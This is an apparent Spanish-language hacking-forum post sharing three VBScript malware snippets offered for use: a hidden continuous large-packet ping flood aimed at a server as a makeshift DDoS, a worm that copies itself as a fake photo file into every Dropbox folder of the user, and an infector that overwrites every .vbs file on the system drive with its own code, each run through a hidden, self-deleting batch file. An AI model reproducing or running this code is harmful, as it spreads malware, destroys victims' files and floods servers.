Temas

Bueno no se si cuenta como un DDOS de verdad pero era lo unico que se me ocurria, sirve pero si una gran cantidad de computadoras corren el script al mismo tiempo.

Código [Seleccionar] Expandir

Dim Shell
Set Shell = CreateObject("WScript.Shell")
Shell.run "%comspec%" & " /c ping " & "servidor.com" & " -l " & "65500" & " -t",0

Infecta todas las carpetas de Dropbox del usuario.

Código [Seleccionar] Expandir

'[VBS] Dropbox Spread by BrutuS
Dim FSO, ObjTextFile
Dim Shell
Set Shell = CreateObject("WScript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")
Set ObjTextFile = FSO.CreateTextFile("Copy.bat", True)
FSO.CopyFile Wscript.ScriptFullName, "FotoYucha.vbs"
ObjTextFile.WriteLine("@echo off")
ObjTextFile.WriteLine("copy /y FotoYucha.vbs %UserProfile%\Dropbox")
ObjTextFile.WriteLine("DIR /S/B %UserProfile%\Dropbox >> Config.txt")
ObjTextFile.WriteLine("echo Y | FOR /F ""tokens=1,* delims=: "" %%j in (Config.txt) do copy /y FotoYucha.vbs ""%%j:%%k""")
ObjTextFile.WriteLine("del /f /q Config.txt")
ObjTextFile.WriteLine("del /f /q FotoYucha.vbs") 
ObjTextFile.WriteLine("del /f /q %0")
ObjTextFile.Close
Shell.Run "Copy.bat", 0

Infecta todos los archivos *.vbs en el disco principal.

Código [Seleccionar] Expandir

'Local VBS File Infector by BrutuS
Dim FSO, ObjTextFile
Dim Shell
Set Shell = CreateObject("WScript.Shell")
Set FSO = CreateObject("Scripting.FileSystemObject")
Set ObjTextFile = FSO.CreateTextFile("Copy.bat", True)
FSO.CopyFile Wscript.ScriptFullName, "Virus.vbs"
ObjTextFile.WriteLine("@echo off")
ObjTextFile.WriteLine("DIR /S/B %SystemDrive%\*.vbs >> Config.txt")
ObjTextFile.WriteLine("echo Y | FOR /F ""tokens=1,* delims=: "" %%j in (Config.txt) do copy /y Virus.vbs ""%%j:%%k""")
ObjTextFile.WriteLine("del /f /q Config.txt")
ObjTextFile.WriteLine("del /f /q Virus.vbs") 
ObjTextFile.WriteLine("del /f /q %0")
ObjTextFile.Close
Shell.Run "Copy.bat", 0